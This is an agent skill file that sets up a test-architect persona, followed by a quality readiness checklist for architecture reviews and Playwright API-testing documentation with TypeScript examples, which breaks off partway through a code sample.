Bmad Tea

Murat — Master Test Architect and Quality Advisor

Overview

You are Murat, the Master Test Architect and Quality Advisor. You lead risk-based testing strategy, fixture architecture, ATDD, API and UI automation, CI/CD governance, and scalable quality gates — calculating risk versus value on every call and keeping flakiness treated as the critical tech debt it is.

Conventions

• Bare paths (e.g. resources/tea-index.csv) resolve from the skill root.
• {skill-root} resolves to this skill's installed directory (where customize.toml lives).
• {project-root}-prefixed paths resolve from the project working directory.
• {skill-name} resolves to the skill directory's basename.

On Activation

Step 1: Resolve the Agent Block

Run: python3 {project-root}/_bmad/scripts/resolve_customization.py --skill {skill-root} --key agent

If the script fails, resolve the agent block yourself by reading these three files in base → team → user order and applying the same structural merge rules as the resolver:

1. {skill-root}/customize.toml — defaults 2. {project-root}/_bmad/custom/{skill-name}.toml — team overrides 3. {project-root}/_bmad/custom/{skill-name}.user.toml — personal overrides

Any missing file is skipped. Scalars override, tables deep-merge, arrays of tables keyed by code or id replace matching entries and append new entries, and all other arrays append.

Step 2: Execute Prepend Steps

Execute each entry in {agent.activation_steps_prepend} in order before proceeding.

Step 3: Adopt Persona

Adopt the Murat / Master Test Architect identity established in the Overview. Layer the customized persona on top: fill the additional role of {agent.role}, embody {agent.identity}, speak in the style of {agent.communication_style}, and follow {agent.principles}.

Fully embody this persona so the user gets the best experience. Do not break character until the user dismisses the persona. When the user calls a skill, this persona carries through and remains active.

Step 4: Load Persistent Facts

Treat every entry in {agent.persistent_facts} as foundational context you carry for the rest of the session. Entries prefixed file: are paths or globs under {project-root} — load the referenced contents as facts. All other entries are facts verbatim.

Step 5: Load Config

Load config from {project-root}/_bmad/tea/config.yaml and resolve:

• Use {user_name} for greeting
• Use {communication_language} for all communications
• Use {document_output_language} for output documents
• Use {output_folder} for output location

Step 6: Greet the User

Greet {user_name} warmly by name as Murat, speaking in {communication_language}. Lead the greeting with {agent.icon} so the user can see at a glance which agent is speaking. Remind the user they can invoke the bmad-help skill at any time for advice.

Continue to prefix your messages with {agent.icon} throughout the session so the active persona stays visually identifiable.

Step 7: Execute Append Steps

Execute each entry in {agent.activation_steps_append} in order.

Step 8: Dispatch or Present the Menu

If the user's initial message already names an intent that clearly maps to a menu item (e.g. "hey Murat, let's design tests for this epic"), skip the menu and dispatch that item directly after greeting.

Otherwise render {agent.menu} as a numbered table: Code, Description, Action (the item's skill name, or a short label derived from its prompt text). Stop and wait for input. Accept a number, menu code, or fuzzy description match.

Dispatch on a clear match by invoking the item's skill or executing its prompt. Only pause to clarify when two or more items are genuinely close — one short question, not a confirmation ritual. When nothing on the menu fits, just continue the conversation; chat, clarifying questions, and bmad-help are always fair game.

Critical Actions

• Consult ./resources/tea-index.csv to select knowledge fragments under resources/knowledge/ and load only the files needed for the current task.
• Load the referenced fragment(s) from ./resources/knowledge/ before giving recommendations.
• Cross-check recommendations with the current official Playwright, Cypress, Pact, k6, pytest, JUnit, Go test, and CI platform documentation.

From here, Murat stays active — persona, persistent facts, {agent.icon} prefix, and {communication_language} carry into every turn until the user dismisses him.

ADR Quality Readiness Checklist

Purpose: Standardized 8-category, 29-criteria framework for evaluating system testability and NFR compliance during architecture review (Phase 3) and NFR assessment.

When to Use:

• System-level test design (Phase 3): Identify testability gaps in architecture
• NFR assessment workflow: Structured evaluation with evidence
• Gate decisions: Quantifiable criteria (X/29 met = PASS/CONCERNS/FAIL)

How to Use:

1. For each criterion, assess status: ✅ Covered / ⚠️ Gap / ⬜ Not Assessed 2. Document gap description if ⚠️ 3. Describe risk if criterion unmet 4. Map to test scenarios (what tests validate this criterion)

---

1. Testability & Automation

Question: Can we verify this effectively without manual toil?

Common Gaps:

• No mock endpoints for external services (Athena, Milvus, third-party APIs)
• Business logic tightly coupled to UI (requires E2E tests for everything)
• No seeding APIs (manual database setup required)
• ADR has architecture diagrams but no sample API requests

Mitigation Examples:

• 1.1 (Isolation): Provide mock endpoints, dependency injection, interface abstractions
• 1.2 (Headless): Expose all business logic via REST/GraphQL APIs
• 1.3 (State Control): Implement /api/test-data seeding endpoints (dev/staging only)
• 1.4 (Sample Requests): Add "Example API Calls" section to ADR with cURL commands

---

2. Test Data Strategy

Question: How do we fuel our tests safely?

Common Gaps:

• No customer_id scoping in queries (cross-tenant data leakage risk)
• Reliance on production data dumps (GDPR/PII violations)
• No cleanup mechanism (tests leave data behind, polluting environment)

Mitigation Examples:

• 2.1 (Segregation): Enforce customer_id in all queries, add test-specific headers
• 2.2 (Generation): Use Faker library, create synthetic data generators, prohibit prod dumps
• 2.3 (Teardown): Auto-cleanup hooks in test framework, isolated test customer IDs

---

3. Scalability & Availability

Question: Can it grow, and will it stay up?

Common Gaps:

• Stateful session management (can't scale horizontally)
• No load testing, bottlenecks unknown
• SLA undefined or unrealistic (99.99% without redundancy)
• No circuit breakers (cascading failures)

Mitigation Examples:

• 3.1 (Statelessness): Externalize session to Redis/JWT, design for horizontal scaling
• 3.2 (Bottlenecks): Load test with k6, monitor connection pools, identify weak links
• 3.3 (SLA): Define realistic SLA (99.9% = 43 min/month downtime), add redundancy
• 3.4 (Circuit Breakers): Implement circuit breakers (Hystrix pattern), fail fast on errors

---

4. Disaster Recovery (DR)

Question: What happens when the worst-case scenario occurs?

Common Gaps:

• RTO/RPO undefined (no recovery plan)
• Failover never tested (manual process, prone to errors)
• Backups exist but restoration never validated (untested backups = no backups)

Mitigation Examples:

• 4.1 (RTO/RPO): Define RTO (e.g., 4 hours) and RPO (e.g., 1 hour), document recovery procedures
• 4.2 (Failover): Automate multi-region failover, practice failover drills quarterly
• 4.3 (Backups): Implement immutable backups (S3 versioning), test restore monthly

---

5. Security

Question: Is the design safe by default?

Common Gaps:

• Weak authentication (no OAuth, hardcoded API keys)
• No encryption at rest (plaintext in database)
• Secrets in git (API keys, passwords in config files)
• No input validation (vulnerable to SQLi, XSS, command injection)

Mitigation Examples:

• 5.1 (AuthN/AuthZ): Implement OAuth 2.1/OIDC, enforce least privilege, validate scopes
• 5.2 (Encryption): Enable TDE (Transparent Data Encryption), enforce TLS 1.2+
• 5.3 (Secrets): Migrate to AWS Secrets Manager/Vault, scan git history for leaks
• 5.4 (Input Validation): Sanitize all inputs, use parameterized queries, escape outputs

---

6. Monitorability, Debuggability & Manageability

Question: Can we operate and fix this in production?

Common Gaps:

• No distributed tracing (can't debug across microservices)
• Static log levels (requires redeploy to enable DEBUG)
• No metrics endpoint (blind to system health)
• Configuration hardcoded (requires full deploy for minor changes)

Mitigation Examples:

• 6.1 (Tracing): Implement W3C Trace Context, add correlation IDs to all logs
• 6.2 (Logs): Use dynamic log levels (environment variable), structured logging (JSON)
• 6.3 (Metrics): Expose /metrics endpoint, track RED metrics (Rate, Errors, Duration)
• 6.4 (Config): Externalize config (AWS SSM/AppConfig), use feature flags (LaunchDarkly)

---

7. QoS (Quality of Service) & QoE (Quality of Experience)

Question: How does it perform, and how does it feel?

Common Gaps:

• Latency targets undefined (no SLOs)
• No rate limiting (vulnerable to DDoS, noisy neighbors)
• Poor perceived performance (blank screen while loading)
• Raw error messages (stack traces exposed to users)

Mitigation Examples:

• 7.1 (Latency): Define SLOs (P95 <2s, P99 <5s), load test to validate
• 7.2 (Throttling): Implement rate limiting (per-user, per-IP), return 429 with Retry-After
• 7.3 (Perceived Performance): Add skeleton screens, optimistic updates, progressive loading
• 7.4 (Degradation): Implement error boundaries, show friendly messages, log stack traces server-side

---

8. Deployability

Question: How easily can we ship this?

Common Gaps:

• No zero-downtime strategy (requires maintenance window)
• Tight coupling between DB and code (lock-step deployments)
• No automated rollback (manual intervention required)

Mitigation Examples:

• 8.1 (Zero Downtime): Implement Blue/Green or Canary deployments, use feature flags
• 8.2 (Backward Compatibility): Separate DB migrations from code deploys, support N-1 schema
• 8.3 (Rollback): Automate rollback on health check failures, test rollback procedures

---

Usage in Test Design Workflow

System-Level Mode (Phase 3):

In test-design-architecture.md:

• Add "NFR Testability Requirements" section after ASRs
• Use 8 categories with checkboxes (29 criteria)
• For each criterion: Status (⬜ Not Assessed, ⚠️ Gap, ✅ Covered), Gap description, Risk if unmet
• Example:

## NFR Testability Requirements

**Based on ADR Quality Readiness Checklist**

### 1. Testability & Automation

Can we verify this effectively without manual toil?

| Criterion                                                        | Status          | Gap/Requirement                      | Risk if Unmet                           |
| ---------------------------------------------------------------- | --------------- | ------------------------------------ | --------------------------------------- |
| ⬜ Isolation: Can service be tested with downstream deps mocked? | ⚠️ Gap          | No mock endpoints for Athena queries | Flaky tests; can't test in isolation    |
| ⬜ Headless: 100% business logic accessible via API?             | ✅ Covered      | All MCP tools are REST APIs          | N/A                                     |
| ⬜ State Control: Seeding APIs to inject data states?            | ⚠️ Gap          | Need `/api/test-data` endpoints      | Long setup times; can't test edge cases |
| ⬜ Sample Requests: Valid/invalid cURL/JSON samples provided?    | ⬜ Not Assessed | Pending ADR Tool schemas finalized   | Ambiguity on how to consume service     |

**Actions Required:**

- [ ] Backend: Implement mock endpoints for Athena (R-002 blocker)
- [ ] Backend: Implement `/api/test-data` seeding APIs (R-002 blocker)
- [ ] PM: Finalize ADR Tool schemas with sample requests (Q4)

In test-design-qa.md:

• Map each criterion to test scenarios
• Add "NFR Test Coverage Plan" section with P0/P1/P2 priority for each category
• Reference Architecture doc gaps
• Example:

## NFR Test Coverage Plan

**Based on ADR Quality Readiness Checklist**

### 1. Testability & Automation (4 criteria)

**Prerequisites from Architecture doc:**

- [ ] R-002: Test data seeding APIs implemented (blocker)
- [ ] Mock endpoints available for Athena queries

| Criterion                       | Test Scenarios                                                       | Priority | Test Count | Owner            |
| ------------------------------- | -------------------------------------------------------------------- | -------- | ---------- | ---------------- |
| Isolation: Mock downstream deps | Mock Athena queries, Mock Milvus, Service runs isolated              | P1       | 3          | Backend Dev + QA |
| Headless: API-accessible logic  | All MCP tools callable via REST, No UI dependency for business logic | P0       | 5          | QA               |
| State Control: Seeding APIs     | Create test customer, Seed 1000 transactions, Inject edge cases      | P0       | 4          | QA               |
| Sample Requests: cURL examples  | Valid request succeeds, Invalid request fails with clear error       | P1       | 2          | QA               |

**Detailed Test Scenarios:**

- [ ] Isolation: Service runs with Athena mocked (returns fixture data)
- [ ] Isolation: Service runs with Milvus mocked (returns ANN fixture)
- [ ] State Control: Seed test customer with 1000 baseline transactions
- [ ] State Control: Inject edge case (expired subscription user)

---

Usage in NFR Assessment Workflow

Output Structure:

# NFR Assessment: {Feature Name}

**Based on ADR Quality Readiness Checklist (8 categories, 29 criteria)**

## Assessment Summary

| Category                      | Status      | Criteria Met | Evidence                               | Next Action          |
| ----------------------------- | ----------- | ------------ | -------------------------------------- | -------------------- |
| 1. Testability & Automation   | ⚠️ CONCERNS | 2/4          | Mock endpoints missing                 | Implement R-002      |
| 2. Test Data Strategy         | ✅ PASS     | 3/3          | Faker + auto-cleanup                   | None                 |
| 3. Scalability & Availability | ⚠️ CONCERNS | 1/4          | SLA undefined                          | Define SLA           |
| 4. Disaster Recovery          | ⚠️ CONCERNS | 0/3          | No RTO/RPO defined                     | Define recovery plan |
| 5. Security                   | ✅ PASS     | 4/4          | OAuth 2.1 + TLS + Vault + Sanitization | None                 |
| 6. Monitorability             | ⚠️ CONCERNS | 2/4          | No metrics endpoint                    | Add /metrics         |
| 7. QoS & QoE                  | ⚠️ CONCERNS | 1/4          | Latency targets undefined              | Define SLOs          |
| 8. Deployability              | ✅ PASS     | 3/3          | Blue/Green + DB migrations + Rollback  | None                 |

**Overall:** 14/29 criteria met (48%) → ⚠️ CONCERNS

**Gate Decision:** CONCERNS (requires mitigation plan before GA)

---

## Detailed Assessment

### 1. Testability & Automation (2/4 criteria met)

**Question:** Can we verify this effectively without manual toil?

| Criterion                    | Status | Evidence                 | Gap/Action                 |
| ---------------------------- | ------ | ------------------------ | -------------------------- |
| ⬜ Isolation: Mock deps      | ⚠️     | No Athena mock           | Implement mock endpoints   |
| ⬜ Headless: API-accessible  | ✅     | All MCP tools are REST   | N/A                        |
| ⬜ State Control: Seeding    | ⚠️     | `/api/test-data` pending | Pre-implementation blocker |
| ⬜ Sample Requests: Examples | ⬜     | Pending schemas          | Finalize ADR Tools         |

**Overall Status:** ⚠️ CONCERNS (2/4 criteria met)

**Next Actions:**

- [ ] Backend: Implement Athena mock endpoints (pre-implementation)
- [ ] Backend: Implement `/api/test-data` (pre-implementation)
- [ ] PM: Finalize sample requests (implementation phase)

{Repeat for all 8 categories}

---

Benefits

For test-design workflow:

• ✅ Standard NFR structure (same 8 categories every project)
• ✅ Clear testability requirements for Architecture team
• ✅ Direct mapping: criterion → requirement → test scenario
• ✅ Comprehensive coverage (29 criteria = no blind spots)

For nfr-assess workflow:

• ✅ Structured assessment (not ad-hoc)
• ✅ Quantifiable (X/29 criteria met)
• ✅ Evidence-based (each criterion has evidence field)
• ✅ Actionable (gaps → next actions with owners)

For Architecture teams:

• ✅ Clear checklist (29 yes/no questions)
• ✅ Risk-aware (each criterion has "risk if unmet")
• ✅ Scoped work (only implement what's needed, not everything)

For QA teams:

• ✅ Comprehensive test coverage (29 criteria → test scenarios)
• ✅ Clear priorities (P0 for security/isolation, P1 for monitoring, etc.)
• ✅ No ambiguity (each criterion has specific test scenarios)

API Request Utility

Principle

Use typed HTTP client with built-in schema validation and automatic retry for server errors. The utility handles URL resolution, header management, response parsing, and single-line response validation with proper TypeScript support. Works without a browser - ideal for pure API/service testing.

Rationale

Vanilla Playwright's request API requires boilerplate for common patterns:

• Manual JSON parsing (await response.json())
• Repetitive status code checking
• No built-in retry logic for transient failures
• No schema validation
• Complex URL construction

The apiRequest utility provides:

• Automatic JSON parsing: Response body pre-parsed
• Built-in retry: 5xx errors retry with exponential backoff
• Schema validation: Single-line validation (JSON Schema, Zod, OpenAPI)
• URL resolution: Four-tier strategy (explicit > config > Playwright > direct)
• TypeScript generics: Type-safe response bodies
• No browser required: Pure API testing without browser overhead

Pattern Examples

Example 1: Basic API Request

Context: Making authenticated API requests with automatic retry and type safety.

Implementation:

import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';

test('should fetch user data', async ({ apiRequest }) => {
  const { status, body } = await apiRequest<User>({
    method: 'GET',
    path: '/api/users/123',
    headers: { Authorization: 'Bearer token' },
  });

  expect(status).toBe(200);
  expect(body.name).toBe('John Doe'); // TypeScript knows body is User
});

Key Points:

• Generic type <User> provides TypeScript autocomplete for body
• Status and body destructured from response
• Headers passed as object
• Automatic retry for 5xx errors (configurable)

Example 2: Schema Validation (Single Line)

Context: Validate API responses match expected schema with single-line syntax.

Implementation:

import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
import { z } from 'zod';

// JSON Schema validation
test('should validate response schema (JSON Schema)', async ({ apiRequest }) => {
  const { status, body } = await apiRequest({
    method: 'GET',
    path: '/api/users/123',
    validateSchema: {
      type: 'object',
      required: ['id', 'name', 'email'],
      properties: {
        id: { type: 'string' },
        name: { type: 'string' },
        email: { type: 'string', format: 'email' },
      },
    },
  });
  // Throws if schema validation fails
  expect(status).toBe(200);
});

// Zod schema validation
const UserSchema = z.object({
  id: z.string(),
  name: z.string(),
  email: z.string().email(),
});

test('should validate response schema (Zod)', async ({ apiRequest }) => {
  const { status, body } = await apiRequest({
    method: 'GET',
    path: '/api/users/123',
    validateSchema: UserSchema,
  });
  // Response body is type-safe AND validated
  expect(status).toBe(200);
  expect(body.email).toContain('@');
});

Key Points:

• Single validateSchema parameter
• Supports JSON Schema, Zod, YAML files, OpenAPI specs
• Throws on validation failure with detailed errors
• Zero boilerplate validation code

Example 3: POST with Body and Retry Configuration

Context: Creating resources with custom retry behavior for error testing.

Implementation:

test('should create user', async ({ apiRequest }) => {
  const newUser = {
    name: 'Jane Doe',
    email: 'jane@example.com',
  };

  const { status, body } = await apiRequest({
    method: 'POST',
    path: '/api/users',
    body: newUser, // Automatically sent as JSON
    headers: { Authorization: 'Bearer token' },
  });

  expect(status).toBe(201);
  expect(body.id).toBeDefined();
});

// Disable retry for error testing
test('should handle 500 errors', async ({ apiRequest }) => {
  await expect(
    apiRequest({
      method: 'GET',
      path: '/api/error',
      retryConfig: { maxRetries: 0 }, // Disable retry
    }),
  ).rejects.toThrow('Request failed with status 500');
});

Key Points:

• body parameter auto-serializes to JSON
• Default retry: 5xx errors, 3 retries, exponential backoff
• Disable retry with retryConfig: { maxRetries: 0 }
• Only 5xx errors retry (4xx errors fail immediately)

Example 4: URL Resolution Strategy

Context: Flexible URL handling for different environments and test contexts.

Implementation:

// Strategy 1: Explicit baseUrl (highest priority)
await apiRequest({
  method: 'GET',
  path: '/users',
  baseUrl: 'https://api.example.com', // Uses https://api.example.com/users
});

// Strategy 2: Config baseURL (from fixture)
import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';

test.use({ configBaseUrl: 'https://staging-api.example.com' });

test('uses config baseURL', async ({ apiRequest }) => {
  await apiRequest({
    method: 'GET',
    path: '/users', // Uses https://staging-api.example.com/users
  });
});

// Strategy 3: Playwright baseURL (from playwright.config.ts)
// playwright.config.ts
export default defineConfig({
  use: {
    baseURL: 'https://api.example.com',
  },
});

test('uses Playwright baseURL', async ({ apiRequest }) => {
  await apiRequest({
    method: 'GET',
    path: '/users', // Uses https://api.example.com/users
  });
});

// Strategy 4: Direct path (full URL)
await apiRequest({
  method: 'GET',
  path: 'https://api.example.com/users', // Full URL works too
});

Key Points:

• Four-tier resolution: explicit > config > Playwright > direct
• Trailing slashes normalized automatically
• Environment-specific baseUrl easy to configure

Example 5: Integration with Recurse (Polling)

Context: Waiting for async operations to complete (background jobs, eventual consistency).

Implementation:

import { test } from '@seontechnologies/playwright-utils/fixtures';

test('should poll until job completes', async ({ apiRequest, recurse }) => {
  // Create job
  const { body } = await apiRequest({
    method: 'POST',
    path: '/api/jobs',
    body: { type: 'export' },
  });

  const jobId = body.id;

  // Poll until ready
  const completedJob = await recurse(
    () => apiRequest({ method: 'GET', path: `/api/jobs/${jobId}` }),
    (response) => response.body.status === 'completed',
    { timeout: 60000, interval: 2000 },
  );

  expect(completedJob.body.result).toBeDefined();
});

Key Points:

• apiRequest returns full response object
• recurse polls until predicate returns true
• Composable utilities work together seamlessly

Example 6: Microservice Testing (Multiple Services)

Context: Test interactions between microservices without a browser.

Implementation:

import { test, expect } from '@seontechnologies/playwright-utils/fixtures';

const USER_SERVICE = process.env.USER_SERVICE_URL || 'http://localhost:3001';
const ORDER_SERVICE = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';

test.describe('Microservice Integration', () => {
  test('should validate cross-service user lookup', async ({ apiRequest }) => {
    // Create user in user-service
    const { body: user } = await apiRequest({
      method: 'POST',
      path: '/api/users',
      baseUrl: USER_SERVICE,
      body: { name: 'Test User', email: 'test@example.com' },
    });

    // Create order in order-service (validates user via user-service)
    const { status, body: order } = await apiRequest({
      method: 'POST',
      path: '/api/orders',
      baseUrl: ORDER_SERVICE,
      body: {
        userId: user.id,
        items: [{ productId: 'prod-1', quantity: 2 }],
      },
    });

    expect(status).toBe(201);
    expect(order.userId).toBe(user.id);
  });

  test('should reject order for invalid user', async ({ apiRequest }) => {
    const { status, body } = await apiRequest({
      method: 'POST',
      path: '/api/orders',
      baseUrl: ORDER_SERVICE,
      body: {
        userId: 'non-existent-user',
        items: [{ productId: 'prod-1', quantity: 1 }],
      },
    });

    expect(status).toBe(400);
    expect(body.code).toBe('INVALID_USER');
  });
});

Key Points:

• Test multiple services without browser
• Use baseUrl to target different services
• Validate cross-service communication
• Pure API testing - fast and reliable

Example 7: GraphQL API Testing

Context: Test GraphQL endpoints with queries and mutations.

Implementation:

test.describe('GraphQL API', () => {
  const GRAPHQL_ENDPOINT = '/graphql';

  test('should query users via GraphQL', async ({ apiRequest }) => {
    const query = `
      query GetUsers($limit: Int) {
        users(limit: $limit) {
          id
          name
          email
        }
      }
    `;

    const { status, body } = await apiRequest({
      method: 'POST',
      path: GRAPHQL_ENDPOINT,
      body: {
        query,
        variables: { limit: 10 },
      },
    });

    expect(status).toBe(200);
    expect(body.errors).toBeUndefined();
    expect(body.data.users).toHaveLength(10);
  });

  test('should create user via mutation', async ({ apiRequest }) => {
    const mutation = `
      mutation CreateUser($input: CreateUserInput!) {
        createUser(input: $input) {
          id
          name
        }
      }
    `;

    const { status, body } = await apiRequest({
      method: 'POST',
      path: GRAPHQL_ENDPOINT,
      body: {
        query: mutation,
        variables: {
          input: { name: 'GraphQL User', email: 'gql@example.com' },
        },
      },
    });

    expect(status).toBe(200);
    expect(body.data.createUser.id).toBeDefined();
  });
});

Key Points:

• GraphQL via POST request
• Variables in request body
• Check body.errors for GraphQL errors (not status code)
• Works for queries and mutations

Example 8: Operation-Based Overload (OpenAPI / Code Generators)

Context: When using a code generator (orval, openapi-generator, custom scripts) that produces typed operation definitions from an OpenAPI spec, pass the operation object directly to apiRequest. This eliminates manual method/path extraction and typeof assertions while preserving full type inference for request body, response, and query parameters. Available since v3.14.0.

Implementation:

// Generated operation definition — structural typing, no import from playwright-utils needed
// type OperationShape = { path: string; method: 'POST'|'GET'|'PUT'|'DELETE'|'PATCH'|'HEAD'; response: unknown; request: unknown; query?: unknown }

import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';

// --- Basic usage: operation replaces method + path ---
test('should upsert person via operation overload', async ({ apiRequest }) => {
  const { status, body } = await apiRequest({
    operation: upsertPersonv2({ customerId }),
    headers: getHeaders(customerId),
    body: personInput, // compile-time typed as Schemas.PersonInput
  });

  expect(status).toBe(200);
  expect(body.id).toBeDefined(); // body typed as Schemas.Person
});

// --- Typed query parameters (replaces string concatenation) ---
test('should list people with typed query', async ({ apiRequest }) => {
  const { body } = await apiRequest({
    operation: getPeoplev2({ customerId }),
    headers: getHeaders(customerId),
    query: { page: 0, page_size: 5 }, // typed from operation's query definition
  });

  expect(body.items).toHaveLength(5);
});

// --- Params escape hatch (pre-formatted query strings) ---
test('should fetch billing history with raw params', async ({ apiRequest }) => {
  const { body } = await apiRequest({
    operation: getBillingHistoryv2({ customerId }),
    headers: getHeaders(customerId),
    params: {
      'filters[start_date]': getThisMonthTimestamp(),
      'filters[date_type]': 'MONTH',
    },
  });

  expect(body.entries.length).toBeGreaterThan(0);
});

// --- Works with recurse (polling) ---
test('should poll until person is reviewed', async ({ apiRequest, recurse }) => {
  await recurse(
    async () =>
      apiRequest({
        operation: getPersonv2({ customerId, hash }),
        headers: getHeaders(customerId),
      }),
    (res) => {
      expect(res.status).toBe(200);
      expect(res.body.status).toBe('REVIEWED');
    },
    { timeout: 30000, interval: 1000 },
  );
});

// --- Schema validation chains work identically ---
test('should create movie with schema validation', async ({ apiRequest }) => {
  const { body } = await apiRequest({
    operation: createMovieOp,
    headers: commonHeaders(authToken),
    body: movie,
  }).validateSchema(CreateMovieResponseSchema, {
    shape: { status: 200, data: { name: movie.name } },
  });

  expect(body.data.id).toBeDefined();
});

Key Points:

• Pass operation instead of method + path — mutually exclusive at compile time
• Response body, request body, and query types inferred from operation definition
• Uses structural typing (duck typing) — works with any code generator producing { path, method, response, request, query? }
• query field auto-serializes to bracket notation (filters[type]=pep, ids[0]=10)
• params escape hatch for pre-formatted strings — wins over query on conflict
• Fully composable with recurse, validateSchema, and all existing features
• response/request/query on the operation are type-level only — runtime never reads their values

Comparison with Vanilla Playwright

When to Use

Use apiRequest for:

• ✅ Pure API/service testing (no browser needed)
• ✅ Microservice integration testing
• ✅ GraphQL API testing
• ✅ Schema validation needs
• ✅ Tests requiring retry logic
• ✅ Background API calls in UI tests
• ✅ Contract testing support
• ✅ Type-safe API testing with OpenAPI-generated operations (v3.14.0+)

Stick with vanilla Playwright for:

• Simple one-off requests where utility overhead isn't worth it
• Testing Playwright's native features specifically
• Legacy tests where migration isn't justified

Related Fragments

• api-testing-patterns.md - Comprehensive pure API testing patterns
• overview.md - Installation and design principles
• auth-session.md - Authentication token management
• recurse.md - Polling for async operations
• fixtures-composition.md - Combining utilities with mergeTests
• log.md - Logging API requests
• contract-testing.md - Pact contract testing

Anti-Patterns

❌ Ignoring retry failures:

try {
  await apiRequest({ method: 'GET', path: '/api/unstable' });
} catch {
  // Silent failure - loses retry information
}

✅ Let retries happen, handle final failure:

await expect(apiRequest({ method: 'GET', path: '/api/unstable' })).rejects.toThrow(); // Retries happen automatically, then final error caught

❌ Disabling TypeScript benefits:

const response: any = await apiRequest({ method: 'GET', path: '/users' });

✅ Use generic types:

const { body } = await apiRequest<User[]>({ method: 'GET', path: '/users' });
// body is typed as User[]

❌ Mixing operation overload with explicit generics:

// Don't pass a generic when using operation — types are inferred from the operation
const { body } = await apiRequest<MyType>({
  operation: getPersonv2({ customerId }),
  headers: getHeaders(customerId),
});

✅ Let the operation infer the types:

const { body } = await apiRequest({
  operation: getPersonv2({ customerId }),
  headers: getHeaders(customerId),
});
// body type inferred from operation.response

❌ Mixing operation with method/path:

// Compile error — operation and method/path are mutually exclusive
await apiRequest({
  operation: getPersonv2({ customerId }),
  method: 'GET', // Error: method?: never
  path: '/api/person', // Error: path?: never
});

API Testing Patterns

Principle

Test APIs and backend services directly without browser overhead. Use Playwright's request context for HTTP operations, apiRequest utility for enhanced features, and recurse for async operations. Pure API tests run faster, are more stable, and provide better coverage for service-layer logic.

Rationale

Many teams over-rely on E2E/browser tests when API tests would be more appropriate:

• Slower feedback: Browser tests take seconds, API tests take milliseconds
• More brittle: UI changes break tests even when API works correctly
• Wrong abstraction: Testing business logic through UI layers adds noise
• Resource heavy: Browsers consume memory and CPU

API-first testing provides:

• Fast execution: No browser startup, no rendering, no JavaScript execution
• Direct validation: Test exactly what the service returns
• Better isolation: Test service logic independent of UI
• Easier debugging: Clear request/response without DOM noise
• Contract validation: Verify API contracts explicitly

When to Use API Tests vs E2E Tests

Rule of thumb: If you're testing what the server returns (not how it looks), use API tests.

Pattern Examples

Example 1: Pure API Test (No Browser)

Context: Test REST API endpoints directly without any browser context.

Implementation:

// tests/api/users.spec.ts
import { test, expect } from '@playwright/test';

// No page, no browser - just API
test.describe('Users API', () => {
  test('should create user', async ({ request }) => {
    const response = await request.post('/api/users', {
      data: {
        name: 'John Doe',
        email: 'john@example.com',
        role: 'user',
      },
    });

    expect(response.status()).toBe(201);

    const user = await response.json();
    expect(user.id).toBeDefined();
    expect(user.name).toBe('John Doe');
    expect(user.email).toBe('john@example.com');
  });

  test('should get user by ID', async ({ request }) => {
    // Create user first
    const createResponse = await request.post('/api/users', {
      data: { name: 'Jane Doe', email: 'jane@example.com' },
    });
    const { id } = await createResponse.json();

    // Get user
    const getResponse = await request.get(`/api/users/${id}`);
    expect(getResponse.status()).toBe(200);

    const user = await getResponse.json();
    expect(user.id).toBe(id);
    expect(user.name).toBe('Jane Doe');
  });

  test('should return 404 for non-existent user', async ({ request }) => {
    const response = await request.get('/api/users/non-existent-id');
    expect(response.status()).toBe(404);

    const error = await response.json();
    expect(error.code).toBe('USER_NOT_FOUND');
  });

  test('should validate required fields', async ({ request }) => {
    const response = await request.post('/api/users', {
      data: { name: 'Missing Email' }, // email is required
    });

    expect(response.status()).toBe(400);

    const error = await response.json();
    expect(error.code).toBe('VALIDATION_ERROR');
    expect(error.details).toContainEqual(expect.objectContaining({ field: 'email', message: expect.any(String) }));
  });
});

Key Points:

• No page fixture needed - only request
• Tests run without browser overhead
• Direct HTTP assertions
• Clear error handling tests

Example 2: API Test with apiRequest Utility

Context: Use enhanced apiRequest for schema validation, retry, and type safety.

Implementation:

// tests/api/orders.spec.ts
import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
import { z } from 'zod';

// Define schema for type safety and validation
const OrderSchema = z.object({
  id: z.string().uuid(),
  userId: z.string(),
  items: z.array(
    z.object({
      productId: z.string(),
      quantity: z.number().positive(),
      price: z.number().positive(),
    }),
  ),
  total: z.number().positive(),
  status: z.enum(['pending', 'processing', 'shipped', 'delivered']),
  createdAt: z.string().datetime(),
});

type Order = z.infer<typeof OrderSchema>;

test.describe('Orders API', () => {
  test('should create order with schema validation', async ({ apiRequest }) => {
    const { status, body } = await apiRequest<Order>({
      method: 'POST',
      path: '/api/orders',
      body: {
        userId: 'user-123',
        items: [
          { productId: 'prod-1', quantity: 2, price: 29.99 },
          { productId: 'prod-2', quantity: 1, price: 49.99 },
        ],
      },
      validateSchema: OrderSchema, // Validates response matches schema
    });

    expect(status).toBe(201);
    expect(body.id).toBeDefined();
    expect(body.status).toBe('pending');
    expect(body.total).toBe(109.97); // 2*29.99 + 49.99
  });

  test('should handle server errors with retry', async ({ apiRequest }) => {
    // apiRequest retries 5xx errors by default
    const { status, body } = await apiRequest({
      method: 'GET',
      path: '/api/orders/order-123',
      retryConfig: {
        maxRetries: 3,
        retryDelay: 1000,
      },
    });

    expect(status).toBe(200);
  });

  test('should list orders with pagination', async ({ apiRequest }) => {
    const { status, body } = await apiRequest<{ orders: Order[]; total: number; page: number }>({
      method: 'GET',
      path: '/api/orders',
      params: { page: 1, limit: 10, status: 'pending' },
    });

    expect(status).toBe(200);
    expect(body.orders).toHaveLength(10);
    expect(body.total).toBeGreaterThan(10);
    expect(body.page).toBe(1);
  });
});

Key Points:

• Zod schema for runtime validation AND TypeScript types
• validateSchema throws if response doesn't match
• Built-in retry for transient failures
• Type-safe body access
• Note: If your project uses code-generated operations from an OpenAPI spec, see Example 8 for the preferred operation-based overload (v3.14.0+)

Example 3: Microservice-to-Microservice Testing

Context: Test service interactions without browser - validate API contracts between services.

Implementation:

// tests/api/service-integration.spec.ts
import { test, expect } from '@seontechnologies/playwright-utils/fixtures';

test.describe('Service Integration', () => {
  const USER_SERVICE_URL = process.env.USER_SERVICE_URL || 'http://localhost:3001';
  const ORDER_SERVICE_URL = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
  const INVENTORY_SERVICE_URL = process.env.INVENTORY_SERVICE_URL || 'http://localhost:3003';

